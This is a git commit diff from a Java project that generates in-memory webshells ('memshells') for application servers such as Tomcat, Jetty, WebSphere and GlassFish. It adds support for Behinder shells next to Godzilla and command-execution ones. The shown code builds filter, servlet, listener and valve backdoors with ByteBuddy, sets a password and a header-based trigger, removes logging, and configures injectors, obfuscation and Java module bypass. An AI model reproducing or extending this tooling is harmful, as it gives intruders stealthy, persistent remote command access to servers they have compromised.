feat: support behinder shell generate

This commit is contained in:
ReaJason
2024-12-22 00:05:01 +08:00
parent 100b4e5d9b
commit 01fd2ecb80
142 changed files with 2661 additions and 289 deletions
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memshell.config.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
@@ -31,6 +31,7 @@ public abstract class AbstractShell {
return switch (tool) {
case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList();
case Command -> getCommandShellMap().keySet().stream().sorted().toList();
case Behinder -> getBehinderShellMap().keySet().stream().sorted().toList();
default -> Collections.emptyList();
};
}
@@ -82,28 +83,23 @@ public abstract class AbstractShell {
.build();
}
/**
* 获取 Godzilla 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Collections.emptyMap();
}
/**
* 获取 Command 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
case Behinder -> getBehinderShellMap();
default -> Collections.emptyMap();
};
return shellMap.get(shellType);
@@ -113,6 +109,7 @@ public abstract class AbstractShell {
return switch (shellConfig.getShellTool()) {
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
};
}
@@ -0,0 +1,64 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class BehinderGenerator {
private final ShellConfig shellConfig;
private final BehinderConfig behinderConfig;
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) {
this.shellConfig = shellConfig;
this.behinderConfig = behinderConfig;
}
public DynamicType.Builder<?> getBuilder() {
if (behinderConfig.getShellClass() == null) {
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
}
if (StringUtils.isBlank(behinderConfig.getPass())) {
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
}
String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16);
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(behinderConfig.getShellClass())
.name(behinderConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(md5Key))
.andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue())));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -52,4 +55,16 @@ public class GlassFishShell extends AbstractShell {
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)
);
}
}
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
@@ -4,9 +4,9 @@ import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
@@ -1,11 +1,13 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.jboss.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jboss.command.CommandListener;
import com.reajason.javaweb.memshell.jboss.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import org.apache.commons.lang3.tuple.Pair;
@@ -39,4 +41,12 @@ public class JbossShell extends AbstractShell {
Constants.LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class)
);
}
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -15,7 +18,7 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
@@ -51,4 +54,16 @@ public class JettyShell extends AbstractShell {
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class),
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class)
);
}
}
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.payara.behinder.BehinderListener;
import com.reajason.javaweb.memshell.payara.command.CommandListener;
import com.reajason.javaweb.memshell.payara.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -52,4 +55,16 @@ public class PayaraShell extends AbstractShell {
JAKARTA_VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class)
);
}
}
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
import com.reajason.javaweb.memshell.resin.command.CommandListener;
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -49,4 +52,16 @@ public class ResinShell extends AbstractShell {
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class)
);
}
}
@@ -1,12 +1,16 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
@@ -16,7 +20,7 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
@@ -62,4 +66,18 @@ public class TomcatShell extends AbstractShell {
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class),
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class)
);
}
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
@@ -49,4 +52,16 @@ public class UndertowShell extends AbstractShell {
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)
);
}
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
@@ -43,4 +46,13 @@ public class WebSphereShell extends AbstractShell {
Constants.LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)
);
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class BehinderConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.memshell.config;
import lombok.Builder;
import lombok.Getter;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Getter
@SuperBuilder
@ToString
public class CommandConfig extends ShellToolConfig {
@Builder.Default
private String paramName = "cmd";
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.memshell.config;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
* @since 2024/11/28
*/
public class Constants {
public static final int DEFAULT_VERSION = Opcodes.V1_6;
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
public static final String FILTER = "Filter";
public static final String JAKARTA_FILTER = "JakartaFilter";
public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener";
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.memshell.config;
import lombok.Builder;
import lombok.Data;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@Builder(builderClassName = "GenerateResultBuilder")
public class GenerateResult {
private String shellClassName;
private transient byte[] shellBytes;
private long shellSize;
private String shellBytesBase64Str;
private String injectorClassName;
private transient byte[] injectorBytes;
private long injectorSize;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
public static class GenerateResultBuilder {
public GenerateResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
shellSize = shellBytes.length;
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
injectorSize = injectorBytes.length;
}
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class GodzillaConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
@Builder.Default
private String key = "key";
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -0,0 +1,49 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2024/12/5
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(toBuilder = true)
public class InjectorConfig {
/**
* 注入器 Builder
*/
DynamicType.Builder<?> injectorBuilder;
/**
* 内存马 Builder
*/
DynamicType.Builder<?> shellBuilder;
/**
* 注入器模板类
*/
private Class<?> injectorClass;
/**
* 注入器类名
*/
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 注入访问的地址
*/
@Builder.Default
private String urlPattern = "/*";
/**
* 内存马类名
*/
private String shellClassName;
/**
* 内存马类字节
*/
private byte[] shellClassBytes;
}
@@ -0,0 +1,89 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.*;
import lombok.Getter;
/**
* @author ReaJason
* @since 2024/11/22
*/
@Getter
public enum Server {
/**
* Tomcat 中间件
*/
Tomcat(new TomcatShell()),
/**
* Jetty 中间件
*/
Jetty(new JettyShell()),
/**
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
*/
JBossAS(new JbossShell()),
JBossEAP6(new JbossShell()),
/**
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
*/
Undertow(new UndertowShell()),
JBossEAP7(new UndertowShell()),
WildFly(new UndertowShell()),
/**
* SpringMVC 框架
*/
SpringMVC(null),
/**
* Spring Webflux 框架
*/
SpringWebflux(null),
/**
* WebSphere 中间件
*/
WebSphere(new WebSphereShell()),
/**
* WebLogic 中间件
*/
WebLogic(null),
/**
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
*/
Resin(new ResinShell()),
/**
* GlassFish 中间件
*/
GlassFish(new GlassFishShell()),
/**
* Payara 中间件 <a href="https://repo1.maven.org/maven2/fish/payara/distributions/payara">PayaraDownload</a>
*/
Payara(new PayaraShell()),
/**
* 宝兰德中间件
*/
Bes(null),
/**
* 东方通中间件
*/
Tongweb(null),
/**
* 金蝶天燕中间件
*/
Apusic(null),
;
private final AbstractShell shell;
Server(AbstractShell shell) {
this.shell = shell;
}
}
@@ -0,0 +1,70 @@
package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2024/12/6
*/
@Data
@Builder
@AllArgsConstructor
@NoArgsConstructor
public class ShellConfig {
/**
* 目标服务类型
*/
Server server;
/**
* 内存马功能
*/
ShellTool shellTool;
/**
* 内存马类型
*/
String shellType;
/**
* 生成类的目标 JRE 版本
*/
@Builder.Default
private int targetJreVersion = Constants.DEFAULT_VERSION;
/**
* 是否需要移除模块限制
*/
@Builder.Default
private boolean byPassJavaModule = false;
/**
* 是否开启混淆
*/
@Builder.Default
private boolean obfuscate = false;
/**
* 是否开启调试
*/
@Builder.Default
private boolean debug = false;
public boolean isDebugOff() {
return !debug;
}
public boolean isJakarta() {
return StringUtils.containsIgnoreCase(shellType, "jakarta");
}
public boolean needByPassJavaModule() {
return byPassJavaModule || targetJreVersion >= Opcodes.V9;
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.config;
/**
* @author ReaJason
* @since 2024/11/22
*/
public enum ShellTool {
/**
* 哥斯拉
*/
Godzilla,
/**
* 命令回显
*/
Command,
/**
* 冰蝎
*/
Behinder
}
@@ -0,0 +1,29 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
public class ShellToolConfig {
/**
* 模板类 shellClass
*/
private Class<?> shellClass;
/**
* shellClass 的类名
*/
@Builder.Default
private String shellClassName = CommonUtil.generateShellClassName();
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.bcel.classfile.Utility;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.codec.binary.Base64;
/**
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.Getter;
import java.util.Map;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -0,0 +1,86 @@
package com.reajason.javaweb.memshell.utils;
import com.reajason.javaweb.memshell.config.Server;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.security.SecureRandom;
import java.util.Random;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
*/
public class CommonUtil {
